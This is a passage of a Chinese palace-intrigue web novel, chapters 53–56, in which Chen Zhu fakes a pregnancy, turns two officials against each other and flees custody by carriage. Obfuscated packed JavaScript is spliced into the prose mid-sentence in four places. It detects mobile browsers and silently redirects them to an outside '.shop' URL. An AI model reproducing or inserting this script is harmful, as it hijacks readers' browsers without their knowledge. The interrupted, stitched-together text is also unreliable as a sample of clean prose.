霍间重识得那女子拿出的其中一个物件，是他这年送给沉竹的生辰礼，一个上面雕刻着无忧花纹的青玉司南佩。 彼时他对沉竹的身份起疑，拿着刚到手的俸禄在燕京的街市上逛了许久，才选定了这物件。 他记得将此物送到沉竹手中她欢喜的模样，那时廷正监没有起火，沁菊也还未被抓获。 他记得她笑着对他讲：“夫君送我此物是愿我新岁无忧？” 他摇头说道：“是也不是，近来城中妇女多喜爱在腰间佩戴司南佩，我想着你还没有便挑来送你。夫人可知这司南佩有何寓意？” 沉竹忙着思虑沁菊隐去的秘密，哪里得出时间来注意街上的时兴物件。 她思考了一阵，还是对霍间重摇了摇头。 “近些时日战乱多发，流民部分涌入了燕京城中，城中难免气氛严峻，司南佩有辟邪、引路之意，因而十分时兴。” “辟邪、引路？”沉竹看着手中的那块青玉配件，轻声重复着，面上不再表露出笑容。 “辟去邪祟，无忧度日，引正确之路。”他摸着她的发，一字一句地说着。 记忆回笼，霍间重想起陈年方才同他随口带过的话，拿起桌上放着的司南佩，不轻不重地摩挲着。 “你是如何确定她二人现下仍在仲阳城？”他向那女子反问道。 女子脸上的信心被他的疑问短暂击碎，转而变成了疑惑与不解。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200978|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“仲阳离此处尚有一段路程，你现下拿着物件与书信来此找我们谈话，手中所握着的消息想必也是几日之前的吧。”霍间重补充道。 “大人何必不相信？二位夫人身边围着的都是昭王的手下，纵使看管再不力，也不会让主仆总共四人离开仲阳城。” “我记得，仲阳似乎不归昭王辖制。”陈年兀自说道。 “二位大人原是因这个缘由踌躇不决。”那女子轻松地笑了出来，“这是仲阳郡守钱正写给昭王的书信，二位大人尽管看过之后再下决定。” 陈年率先拿起女子推到他们面前的书信展开来看，信中内容写明钱正表面担着景王门下、仲阳郡守的名号，实则经安插在燕京朝中的耳朵早早听闻景王近来式微的消息，转投了昭王，信的末尾还印着鲜红的仲阳郡守印。 看着陈年逐渐僵硬的神情，霍间重就猜到信中书写了什么内容。 “二位大人现下可否给我一个答复？”那女子边不紧不慢地说着，边拿走了轻飘飘落在陈年手中的书信，慢悠悠地叠好重新放回了自己宽大的袖中。 陈年手中没了东西，空洞地看向霍间重，寻求解法。 他心神不安，却见霍间重淡定地给出了答复：“你只管回去告诉昭王，此廷正监职位我是万不可能辞去的。” 说完，他站起，还顺手将另一边放空的陈年也拉了起来。 “周邑城中事务繁多，我们就不在此多耽搁了。” 陈年听着霍间重道别，看着那女子胸有成竹的神情出现裂痕，又听到霍间重打开这间屋子老旧的房门，他才回过神来，向那女子行礼告别，从那还开着的屋门小跑了出去跟上霍间重的脚步。 “不想二位大人竟如此绝情，爽快的做出了决定，我在此可是要再问一句，二位大人可想好了？” 那女子不甘心，急走到了门前，看着已骑上马的霍间重高声喊道。 霍间重不理会她的话，正了正身上的铠甲，看了眼身后的陈年是否骑上了马，就要出发。 “倘若我说，夫人怀有身孕呢？” 这次陈年的反应更快，他忙着问道：“哪一个？” 那女子将视线落到提出问题的陈年身上，再次恢复了那副胸有成竹的模样，可声线却不曾压回原位：“仲阳城送来的书信上写明了，有身孕的那女子名为赵叶芊。” 她理了理方才因慌张跑到眼前的碎发，继续说道：“二位大人可要重新做决定？” 陈年担忧地看向霍间重，就要翻下刚骑上的马，同霍间重一并好好探讨，可有计策转圜局面。 可霍间重听到此消息后只是顿了一下，一时间内没来得及松开手中的缰绳驾马离去。 “走。”他朝身后的陈年掷出一个字，将在马上犹豫的陈年叫回了原位。 马蹄扬起地上的沙，浅褐色的沙卷着风将那女子腰间的金色链条带出了声响，她没有多做停留，即刻回屋拿起纸笔写信传给仲阳城。 53. 先机 沉竹登门拜访钱正想要达到的目的很简单，就是为了挑起其与彭焦的争端。 她此次出门，身边跟着五六个军士，这里面有彭焦的人也有钱正的人，倘若不把这守卫撕出一道裂痕来，自己离开仲阳城的时间便遥遥无期。 自打她踏入钱府，隶属彭焦的军士便被拦在了府门之外。 府内的管家领着她入府，命身边人端了茶来，请她在前厅稍坐，待他请钱正来。 沉竹来的很早，她一夜未眠，定好计策后又想了不少法子，趁天刚刚亮起便驱车来到了钱□□邸。 显然旁人不像她这般早起，钱正身上的衣服一眼看出系得匆忙凌乱，发也梳得不甚端正，来时还揉着睡眼，他的眼眶还带着点湿润，像是刚打过哈欠的样子。 “霍夫人如此早来拜访，可是有什么要紧事？”钱正看着梳戴整齐，端坐在一边的沉竹颇有些摸不着头脑的问道，昨日宴席不过刚见面，他实在是找不到沉竹今日再来拜访的理由。 “没什么要紧事。只是经过昨夜宴席，我想到了些事情要同钱大人讲明。” “何事？霍夫人但说无妨。”钱正边说边拿起手边斟满茶水的茶杯，浅尝了一口就拿到了远处。 兴许是被烫到，也兴许是茶的味道不尽如人意，沉竹猜想着，她手边放着的茶至今还未动过。 “钱大人可对彭焦此人有所了解？” 沉竹提起的人让钱正提起了些精神，他换了姿势，端坐了起来，同沉竹答道：“不甚了解，昨日宴席之上不过是第一面。” “近来燕京城中的储位之争想必钱大人也知晓。” 沉竹口中的事让钱正警醒起来，他向沉竹反问：“霍夫人这是何意？” “没什么意思，钱大人莫要紧张。”沉竹笑着说道，“近来朝中昭王势大，俨然是要成为储君的模样，我今日前来并不是来给钱大人提醒到底该站在哪一方，只是我知钱大人心中所想，想帮钱大人一把。” “哦？”钱正将被自己推远的茶杯又拿了回来，等着沉竹的下文。 “若我猜的没错，昭王定是有事交代给了钱大人，而此事也同样交代给了彭将军。” 钱正听后不语，只是继续喝着茶。 “大人先前为景王做事，如今想要在昭王面前有所表现，就要拿出实在的功绩来，事情眼看就要办成，若功劳与他人平分，岂不是有些说不过去，毕竟仲阳城中大人才是说话做事的那一个。” 桌上香炉中的香默默飘了半晌，钱正才开口：“那依霍夫人所看，我该做些什么？“ “那定是要抢占先机。”沉竹冷静说道，“将事办在前头，率先将事成的消息报给昭王，这份功劳就记在了大人头上，我说的可对？” “霍夫人所言是有几分道理。”钱正低着头思索着沉竹的话，“可彭焦与我现下同在仲阳城中，若是报上去的消息全记我一人功劳，难免令人生疑。” 昭王交代的任务是在前去周邑的队伍中寻机困住沉竹与顾涟涟二人，以此逼迫霍间重与陈年辞去廷正监职务，削弱廷正监职能，将此二人划到自己的势力范围之内。 他本欲在途中设伏，不想顾涟涟的病来的及时，让彭焦将人带来了此处，如此一来彭焦起的作用显然是要比他更大些，再等消息重重向上报去，只怕他的功劳便要一点不剩。 这几日因着此事他颇有些心焦，此刻更是期盼着沉竹能说出些更有用的东西来。 沉竹自然明白钱正话中意思，他要她找出彭焦错处，让他好报彭焦办事不利，得以让他在昭王跟前有个名姓。 “钱大人可知彭将军私运城中药材一事？” “自然知晓。” 钱正手下的探子自打彭焦踏入仲阳城后，便日夜跟随，好让其对这个不曾谋面却有着竞争关系的人有所了解。 他知晓彭焦让人搜罗城中药材运往城外，可无奈其手中拿着昭王的信物，他也不好多加过问。 “彭将军将搜罗来的药材运往城外，再经人销了出去，如此一来，这短短几日，到手的钱财怕是能购下城中一座小宅院了，他此番作为不费半分口舌便将城中的药材只付本钱就征收了过去，损害的不仅是城中百姓的利益，更是为大人的‘不作为’多添了一笔。” 沉竹的话引起钱正的怒火，他尽力压制着，抬起的眼皮之下装满了渴求，他向沉竹问道：“霍夫人可是知晓什么消息可助我？” “自然。”沉竹笑着答道，却没再给出具体的解法。 见状，钱正随即说道：“霍夫人要钱某做些什么只管说便是。” “我并不要钱大人做些什么，我只是怕将此事透露给大人会遭到彭将军报复，乞求大人派人护送我与陈夫人出城暂避些时日。” 钱正听后觉着合理，没多做思索便爽快答应下来，可见口头答应过后沉竹依旧没有给出下文，又让人拿来了纸笔写了保证，亲手交到了沉竹手中。 沉竹收下钱正亲笔所写的保证，悠悠开口：“大人可知自打入仲阳城以来，日日看护我与陈夫人车架的人？” “自然。”钱正点点头说道。 “此人家在仲阳，家有妻子儿女，为彭焦做事并不是为了钱财。” “是为了讨份官差？” “钱大人聪慧。”沉竹端起被她冷落许久的茶杯，轻抿了一口继续说道，“只要大人给的比彭将军许诺的看上去更大更高便不愁让此人作为人证，按下手印，告彭将军一个利用职权行私，大人只需多花些时间，找到因赋凌司死在客栈之中的那个军士的尸体，彭将军的过错便可板上钉钉。” 听完沉竹的话，钱正前前后后又思量了一遍，昭王现下正琢磨着与覃国议和，惹起两方冲突的人自然是不会放过，而那个看护车马的段贵自打彭焦入仲阳城便一直跟在其身侧，知道的更是只多不少。 但他依旧不放心，又向沉竹问道：“霍夫人为何要告诉我这些？” “彭将军见陈夫人身陷病中苦痛却无动于衷甚至落井下石，这便是我今日登门造访将这诸事告知大人的理由。” 钱正了然但依旧不放过，紧接着向沉竹提出了下一个问题：“霍夫人以何作保这一切不会告知于他人？又以何为霍、陈二位大人定会辞去职务一事作保？” 沉竹早有预料，坦然说道：“以我腹中胎儿。” “胎儿？”那日客栈遇刺来看诊的医士可不曾有说霍夫人有孕一事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14224193|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大人若是不相信再请医士来诊脉便是，只是我腹中胎儿月份尚浅，从脉象之中恐是难以珍出。” 钱正听后让身边人快些请了个信得过的医士前来诊脉问询。 一番忙活过后，那医士当真诊出了如盘走珠般的脉象，再加以问沉竹癸水的情况，向在一旁从头看到尾的钱正道：“霍夫人大抵是有了身孕，只是按月份算来尚不足两月，老夫不敢断定。” 钱正不管医士口中的“大抵”与“不敢”，沉竹有身孕的消息只需写在纸面上便可为霍间重答应辞去职务一事多加几分胜算，而沉竹全程从容不迫的面容更是为他护送她与顾涟涟出城一事增添了保障。 他挥手让人请医士下去，端起茶壶欲为沉竹添茶，却发现杯中的茶水几乎未动，他悻悻地将茶壶放到原位，笑着说道：“依霍夫人所看，我该何时将段贵召到府中，又何时将二位夫人护送出城。” “越快越好。” 此话正中钱正所想，即刻让手下去备车马，预备着第二日就让二人出城暂避，毕竟彭焦不为他所控，多拖一日，他心中的不安和焦虑便多添一分。 达到目的的沉竹留下在宴席之上答应钱夫人要赠与她的香囊，在两队人马的护送下离开了钱府。 乘车回到客栈之后，顾涟涟已按她走时留下的字条将两封书信写好。 一封信写给陈年，哭诉自己在仲阳遭遇的苦难及心中的惶恐与思念，另一封信则写给彭焦，告知其钱正心怀不轨，要想事成必要抢占先机，自己已将亲笔信交予他，即刻将此信送到陈年手中，便可解现下之困。 两封信加上沉竹从钱正处得来的保证，顾涟涟寻无人处交给了彭焦的手下，讲明事情紧急，定要尽快让彭将军得知信中内容。 将事情办妥之时已是夜晚，客栈之中，顾涟涟轻手轻脚地为明日的行程收拾着行装，待将东西整理好，她举着一盏小小的烛台，来到了沉竹跟前，轻声问道：“霍夫人口中有身孕一事可是真的？” 事情发生的太快，她还没来得及问清沉竹发生的一切。 “自然是假的，我怎能一夜之间便多出个孩子来？你知我略懂些药理，我昨夜一夜未眠，今晨走的着急，未曾用饭，脉象紊乱是常事。” 沉竹接过她手中的烛台，放在了身旁的桌案上，微弱的火光转移到她的面前。 她找了借口将此事敷衍过去，她不会告诉顾涟涟她脉象的异常是因为服下了赋凌司特制的药。 “此事虽是假的，但明日路途中你定要装作照看着我的模样，将戏演的真些。” “我定会时刻注意。” 顾涟涟听到沉竹的答复放下心来，但眉间依旧透露着说不出的愁意。 “你可是有什么顾虑？”沉竹看清她神色间的忧愁，朝她问道。 “没什么，只是觉得此事进展地太快了些，我怕我难以将你交代的办好，出了纰漏。” “你一向细致，不会出错。”沉竹安慰道，“你我没有背景根基，一路走到此处全凭自己挣扎，若是对自己没有信心，如何将接下来的路走下去？” 她说着，将一旁因风而颤动的火苗吹灭。 “时候不早了，早些安睡吧。” 54. 路途 合眼之前，顾涟涟还是不安地向沉竹问道：“若是彭焦今夜便找上门来该如何是好？” 沉竹握住她的手柔声安抚道：“彭焦手中有昭王给的信物，一时间定不会将你写的那封信放在心上，你今夜安心睡便是，等到明日，我们就可跳脱此困局。” 顾涟涟听了沉竹的话总算是安心睡去，沉竹回了房间换了身行头，趁着夜色，将手中那把属于沁菊的赋凌司匕首放到彭焦在仲阳城暂住的院落之中。 彭焦收到手下传来的信件已是夜深人静之时，他用力醒着神，在酒楼的厢房里展开书信，偶尔错行地了解了信中的内容。 面对顾涟涟信中的警示，他觉得莫名奇妙极了，满不在意地将手中的几张纸交给手下，准备再拿起酒壶河上几盅。 然就在这时，他的眼睛扫到沉竹放在最末的钱正的保证，将伸出去的手又重新收了回来，看着纸上钱正书写的“仲阳郡守钱正允诺霍夫人出城暂避，立此为证”，还是将守在她们身边的军士叫来问询。 “那二人今日可有什么异动？” “回禀将军，陈夫人一日都待在客栈之内，只是那霍夫人今日去到了钱府。” “她去钱府干嘛？” 彭焦语气因酒意显得混沌，手下站在一旁猜测着他口中的意思，支支吾吾地回答道：“昨日宴席之上，霍夫人曾与钱正的夫人约定，要给予一个亲手做的香包，霍夫人今日前去钱府便是为了此事。” 手下边说边给彭焦手中空了的茶杯倒上凉透的茶水，助他醒神。 “她倒是上心的。”彭焦一手撑着脑袋，闭着眼喝着茶水，“段贵呢？这几日是何状况？” “自打将军您发现其有偷拿药材之嫌，将他遣回家后，我们一直听从将军的吩咐在他的家宅附近让几个人日夜守卫着，没见着有什么异常。” “日夜守卫？你这话未免说得太过漂亮了些。”彭焦说着，将手中空了的茶杯重重倒扣在桌面上。 身边站着的手下因他的举动轻颤了一下，忙拱手说道：“将军莫要动怒，我定会叫下面的人收了玩乐的心思。” “这几日将那厮看严些。”彭焦语气冷淡的吩咐道。 “是。”手下高声答道。 答完抬眼见到彭焦挥着的手自觉低着头退下，然就当他轻喘了口气时，身后的人再次开口将他唤了过去。 “将军可是还有什么吩咐？” “备车，回府。”彭焦边一手按着自己的太阳穴，边说道。 他不信一个多年不升不降的墙头草钱正能翻出什么花样来，更何况他手中还拿着昭王给他的令牌。 次日，彭焦清醒后心中莫名觉得不妥，还是一早骑着快马来到沉竹和顾涟涟落脚的客栈，想要问那封信的用意到底是什么。 不想等他到了客栈发现自己派去看守那二人的军士全被迷晕在了无闲杂人等经过的廊间。 他急忙顺着走廊跑了过去，不管脚下踩到了何人的手还是脚，跑到了顾涟涟所居的厢房门前。 大门被用力推开，屋中却空无一人，物件也没剩下一个，像是从没有人来过的模样。 耳边传来一阵甲片碰撞的声响，他从此间屋子的窗望下去，钱正身边的亲信带着人将客栈围了个水泄不通。 眼前层层叠叠的军士并没有为彭焦此时不平静的心多添一分慌张。 他心中只想着复命，只想着昭王。 “人呢？” 他将腰间的匕首朝下扔了出去，匕首的落的又快又准，钱正的亲信侧身一躲，锋利的刀刃还是擦伤了他的脸庞。 “我问你人呢？”彭焦的手用力拍打着窗沿，几近嘶吼道。 沉竹早就看腻了仲阳的景色。 天未亮时她和顾涟涟带着行囊，带着沁兰她们一起坐上了出城的马车。 马车摇晃，让人难掩困意，所幸路上的景色新奇。 她们的马车向仲阳附近的一座小城行进着，这座城比仲阳更靠近燕京城，并不繁华，路上可见落在稻田上的雪花正在融化，在水和冰之间徘徊。 她饶有兴趣的看着小小车窗外的景致，紧挨着她的顾涟涟显然没那么轻松。 她想问沉竹，她口中的“逃出”究竟是在何时，眼下的情况俨然就要陷入另一个牢笼之中：行进的马车前后都跟着钱正派来的守兵，甚至还多了两个侍女以“照顾二位夫人起居”的名义跟在马车边。 她怕隔墙有耳，话说不出口，只得不安地看着一脸轻快，享受窗外迎面冷风的沉竹。 车到了地点，顾涟涟和沉竹互相搀扶着下车，暂时落脚的地方比不上仲阳客栈的干净利索，但好在出门的景致确实不错。 安置好物件同沉竹一起到不远处田径散步的顾涟涟逼自己这样想着，哪怕她看着面前雪落稻田的景色没一阵就开始不由自主的瞟向沉竹。 “放轻松些。”沉竹轻声提醒着她。 听到话的顾涟涟眼神装作自然的再次转向稻田。 但她的心依旧静不下来，她无法忽视身后的两个侍女和几个牵着马车一言不发跟在她们身后的军士。 方才领路的人将她们安置好后，还特意跟沉竹说道：“钱大人已将写给霍、陈二位大人的信寄出，相信用不了多久，二位夫人便能与那二位大人相见。” 若是等信真寄到了陈年他们手中，而她与沉竹还困在此处，那如此辛苦倒腾一番便就是白费了。 思及此处，顾涟涟心中愈加不安起来，她不想种种挣扎之下，她还只能是那个等着陈年放弃些什么才能和她一起的人。 凌乱的思绪让她注意不到自己的手已暴露在寒风中许久，直到感受到沉竹手上的温暖。 “沉竹牵起她的手，轻声在她耳畔说道：“待会儿，你带着沁兰她们只管躲在马车里便是。” 顾涟涟控制着自己不去错愕地看向沉竹，视线尽力看着眼前的稻田，微不可察地点了点头。 沉竹拉着顾涟涟地手笑着往马车的方向走去。 现下，彭焦的人已被她支走，一部分钱正派来的人留守在此处的落脚点看管，剩下的几人手中并没有弓弩类的物件。 她心中估量着自己是否能将马车边的这些军士击倒在地，已然牵着顾涟涟的手到了守在马车周边最后一个军士的身边。 她伸出手先扶着顾涟涟坐进了马车，随后跟那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14257935|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离得最近的军士说道：“牵车回去吧。” 待那军士转身去寻人驾车之际，她抽出那军士腰间的佩剑，速度极快地向前一勾，将那高大的军士带入了自己怀中，而那把剑正雪亮地驾在军士颈前。 那军士想要挣脱却发觉身后的女子力气大得很，他愈挣扎，搂住他脖颈的手就越紧，险些就要让他呼吸不过来。 “霍夫人这是何意？” 那些军士看到这一幕纷纷把剑拿了出来，放在身前，同沉竹形成对峙局面。 沉竹不出声，她的身体被跟前这个男子全权罩住，只露出个手臂和一只眼睛来。 她打量着眼前的这些人，令她有些意外的是，那两个钱正派来的侍女竟从袖中掏出了小型的弓弩，将箭矢对准了她的方向。 但她知晓，如今担着霍夫人名号，这些人至多伤她。 她听到身后顾涟涟已将沁兰她们推着那军士沿着马车外缘一步步向前，又发现有军士手中拽紧了马的缰绳。 面前的军士随着她的动作一步步后退着，为首的那个喊道：“霍夫人有何要求尽管提就好，何必出此下策，钱大人特意嘱咐我们二位夫人有何要求我们都尽量满足。” 沉竹不欲动手，顺着那人的话逐渐松开了勒着那军士的手，但并未松开手上拿着的剑。 她的余光看到身边那只握着缰绳的手也随着她的动作逐渐松开。 身边的军士似是放下心来，松了一口气对着沉竹说道：“霍夫人，缘何要做此事？有何事我们心平气和地商量便好。” 沉竹没想着回答他的问题，，她的注意全权放在马车上，那只握着缰绳的手已然松开，身前拿着弓弩的侍女也将手渐渐放下，被她放走的军士也捂着脖子正走回队伍之中。 “霍夫人可否将手中的剑交给在下？” 她盯着为首那人说话的脸，紧张和憔悴混在了一处。 沉竹发现自己的情境其实和他们很相似，受生存挟制，为人劳碌办事。 她没有犹豫，拿着手中的剑迅速转身翻上马车，握住缰绳高扬拍打马背，架着马车离去。 背后的弩箭即刻射了出去，准头很是不错，正中沉竹握绳驾车的臂膀。 看见弩箭命中，那些军士忙准备小跑追上去，照他们所想，一个女子手臂中箭定会吃痛不已，松开缰绳难以控制马车的行进与方向。 但沉竹的手只是颤了一下，甚至口中没有发出疼痛的声响，紧紧握着手中的缰绳，将那辆马车架得越来越快。 身后的人眼看追不上，急着回落脚处牵马来追，但当他们重新回到此处时，沉竹一行人早就没有了踪影。 为首的那个还是下令让人顺着她们离去的方向去追，哪怕心中已然知晓恐怕已然没可能追上的事实。 他犹豫着是否要即刻快马回到仲阳城去报钱正人已跑走，马蹄在原地踏了几步，他还是当作无事发生返回了落脚点，让自己多些时间想清后路。 他让跟来的那两个侍女去集市上买来华美的衣裳整日穿着，防着钱正派来的探子打探出他们失职的事实。 夕阳渐渐冒头，稻田上的雪又少了一层，这个冬天快要结束了。 55. 行进 “霍夫人竟还会驾车？”顾涟涟从车窗探了个头出来，她只能勉强看到沉竹半个肩膀，但还是对着迎面的风问道。 “我走失的那段时日跟周围人学了不少东西。”沉竹眼睛也不眨地应付着顾涟涟。 “真好，我父亲只教会了我最基本的琴棋书画，别的什么我只是在书上看到，从未真正去做过。” 沉竹还是头一回遇见说她际遇好的人。 马车的速度终是赶不上快马，顾涟涟耳尖，在风声中捕捉到了细碎的马蹄声响。 “霍夫人要将马车驶向何处？” 顾涟涟语气中的慌张没有遮掩，沉竹知道她在担忧什么，出声抚慰道：“陈夫人放心，我自会避开那些追兵。” 有了沉竹的安慰，顾涟涟放下心来，缩回了脑袋，安心在车厢之内听着马车轮轴的滚动。 常年的训练让沉竹比顾涟涟还早地听到了身后的马蹄声，方才的岔路上，她选择将车驶向远离周邑的方向暂避追兵。 若是钱正反应快些，她们一路去往周邑所途径的城池都会被设上关卡，若是莽撞地朝周邑驶去，其间路过的城池必定会被设上重重关卡难以行进，倘若周邑的路走不通，便只剩下返回燕京一条路可走。 只是到那时，昭王知晓她们平安归来的消息，便意味着原先拉拢此二人、削弱廷正监的计策作废，陈年家中尚有背景，远在周邑的霍间重就不一定能平安返回燕京。 而那时的自己失去了霍夫人的身份，是否会被赋凌司当作抛弃，落得一个等死的结局？ 她在这两种局面中挣扎许久，还是选择试着向生而行。 思及此，沉竹忽地想到似乎当初留在仲阳什么也不做，等着远方的霍间重做出抉择，然后等着钱正将她们平安护送出仲阳城是更为简单的选择。 可她的行动总是率先做出，她不想再被动地等待。 沉竹心中如此想着，轻叹了口气，若是她能选，她定不会踏足燕京城一步，远离这纷扰的朝堂斗争，挑个边缘的小城找个闲散的药铺抓药为生。 沉竹驾着马车将剩下的白日走完，寻了一处更小的城池落脚。 沉竹手臂上的伤口还在作痛，但却不敢去医馆问药，所幸沁兰随身带着药膏，沉竹对处理伤口一事又十分熟练。 她抿着嘴将伤口的创面清理干净，抹上了沁兰拿来的药膏。 药膏的外形她看着眼熟，便出声询问沁兰是何处拿来。 “是夫人放在床头的那一小瓶药膏，不想派上了用场。” 沁兰如此说，沉竹倒是想了起来，为帮她去掉手上留下的疤，霍间重堆了不少药膏在房中，她手上的疤痕哪里用得了这样多的药膏，便剩下了不少。 时间一长，她也就将此事忘却。 见沉竹思虑不回话，沁兰开口说道：“可是奴上药时力气重了，弄疼了夫人？” 沉竹摇摇头说道：“并未。” “那夫人可是在思念将军？” “怎么你也开始打趣我？”沉竹笑着反问道。 “是奴不对。”沁兰同样笑着说道，“说来我们已离开燕京许多日子了，不想这一路如此艰险。” “是啊。”沉竹点点头回应道。 她虽想到昭王会有所阻挠，但不想昭王行事如此张扬，看来储位之争俨然比她想象的要更为激烈。 这药膏的味道并不苦涩，倒是颇有一抹清香萦绕鼻尖。 “夫人可知晓此处离周邑还要行上多少时日？” “若无追兵，大约还要十日左右。” 先前身后的那些追兵的已在几个岔路之后不见踪迹，如今沉竹只期望仲阳那边能再迟钝些，为她们多争取些时日。 彭焦并没有被钱正的人关押在牢狱，只是所居的院落被人重重围起，送进院中的茶水吃食都被层层检查着是否有消息传递出。 那些在客栈被迷晕的军士则被困在另一处看管，如此下来就只剩一个时常跟在彭焦身边的军士尚未被钱正的人抓获，有人曾见此人跟随彭焦一齐到了客栈，可搜寻之时却不见此人踪影。 如今钱正的人在仲阳全城搜捕只为找到此人踪迹，扰得不少百姓生活不宁。 本凭着彭焦手中的令牌，钱正也不能将人软禁，只是他们依着沉竹所言找到了段贵，将其所供的证词整理先行将信送到了燕京，昭王的意思虽尚未送到仲阳，但钱正求功心切，仍照着这一名头将彭焦困在了那间院落之中。 彭焦的日子过的大不如从前，整日在院落之中踱步咒骂，但院落空空，四处无风，连草木也难以回应。 他夜半也会想到那日在酒楼收到的信，在客栈时，他在去往顾涟涟所在的厢房时，将此信交给了那个跟在自己身边时常劝酒的属下暂为保管。 他知自己以权谋私证据已被钱正握在手中，在昭王那处的形象怕是难以挽回，只期冀属下能将那封顾涟涟交给他的信送出，能让陈年从廷正监请辞，将功补过，保住自己往后仍能在燕京城任职。 至于顾涟涟缘何帮他，他困在四角院落之中无从多余去想。 那跟着他许久的手下也不负他所望，成功将信送了出去，还花下重金买通了一位送饭的侍从将此消息带给了彭焦。 彭焦看到这一藏匿在侍从发间的细小纸条时，按耐着心中大喜，将面前的糠菜薄粥埋头吃完，接着开始在院中踱步咒骂，不同的是中气好似更足些。 “你怎会笃定彭焦会将那封我写给他的信送出？一来我并没有理由帮他，二来若是钱正手段强硬些，只怕是他连与外界的沟通都困难。” 次日临行前，顾涟涟又向沉竹问道。 她脸上的疲惫消减了许多，看得出昨晚休息得很好。 “我没有十足的把握彭焦能将那封信送出。”沉竹边整理着马背上的缰绳边回答道，“钱正唯利是图，善变，挑起他二人间的嫌隙是我主要的目的，那封信若能送出便是锦上添花，若是陈大人几近同一时间收到两封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273419|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来自仲阳的信应当能瞧出些不对来吧，如此我们前去周邑的一路上也能走的更顺畅些。” “那若是彭焦同钱正通气，你我这些筹谋便再难隐瞒。” “因而我们今日要尽早出发。”沉竹牵起顾涟涟的手扶她上车，“彭焦有利不会分给外人，你可还记得那日设在钱府的宴席？二人间举手投足尽是客气，偶尔还有锋芒显露。” “霍夫人计量周全，是我难以想到。”顾涟涟掀开马车一侧的帘子说道，“路途艰辛，你若驾车累了定要同我说，我手上还有些细软，足以从此处支撑到我们去到周邑。” 沉竹点点头，随即驾车启程。 她并不打算驾车将剩下的路程走完，她们手中拿着的路引是熟悉流程的沁兰在仲阳顾涟涟病尚未好全时拿着银钱暗中托人办来的，为了不惹人注意，路引上的目的地并没有写上周邑，只写到了途中的一座城池。 她将马车向周邑又行进了一日，找到了新的落脚点。 这是一处是名声不逊于燕京的城池——临城，被称为兆国第二个国都。 沉竹刻意选在此处，其一是因为此处人流来往频繁易于隐蔽，其二便是此处的消息流通便利。 入城之后她先找来纸笔写了两封信，一封送去周邑，一封送去燕京，离去多日总是要报个平安才是。 剩下的时间她带着竹篾做成的帽子遮掩面容，轻衣简行外出亲自将信送出。 临城作为东边最大的城池，吸引着不少商贾前来。 她要寻一商队作庇护，继续往东行进。 她带着金银，踏进了临城中商栈的门槛。 上次见到这样类似的场景还是在丰原，各处商栈运行的规则基本相同，她熟门熟路地找到了今日在客栈中值守的人，问到了一众朝东而行的商人在何处聚集。 她凑上前去，听着一众披着皮裘带着毛帽的商人谈了许久，找寻着合适混入的商队。 这商队运送的货物不应太过重要，不然易招官兵严查，商队领头的身份也不宜与朝廷有过多牵连，不然商队中水深难测，一时疏忽恐又落陷阱之中。 兴许是临城靠近东边的缘故，这群商人间还有着更为深邃的面庞。 沉竹将注意放到了这些人身上，她终是找到了一个最为合适的商队。 此商队领头的是一个名叫梁朵的女子，她的毡帽前坠着一块水滴状的青松石，耀眼的蓝色之下眉骨硬朗，眼形柔美，有着明显的两族混血特征。 交谈之间她探得其此行去往东部边境是要再拿来些皮革与成色上佳的珠宝回到临城售卖。 等到一场交谈散场，沉竹找到了她，拿出了在自己袖中待了许久的沉甸甸的荷包放在了梁朵面前，出声说道：“眼下这等钱财不知可否当作定金让姑娘帮我一个忙？” 梁朵瞟了眼落到桌面上的钱袋子，没有伸出手去掂掂那钱袋子的重量，而是将视线又转到了沉竹的脸上，开口缓缓说道：“这点钱，不够。” 56. 出城 “姑娘知道我的来意？” “不知。”梁朵摇了摇头说道，“你这袋子太小，不论是何来意，这点钱都不够。” 沉竹听后笑了出来，她心知的确如其所说，袋子里的银钱太少，但还是接着说道：“姑娘何不打开看看，再考虑一番？” 梁朵听后，抓起那桌上的袋子打开看了一眼，里面出去碎银还混着几颗或大或小的金珠。 沉竹将带来的无用首饰都拿去当铺，还多亏顾涟涟拿来了两只钗，才让那袋子里多了几颗金珠。 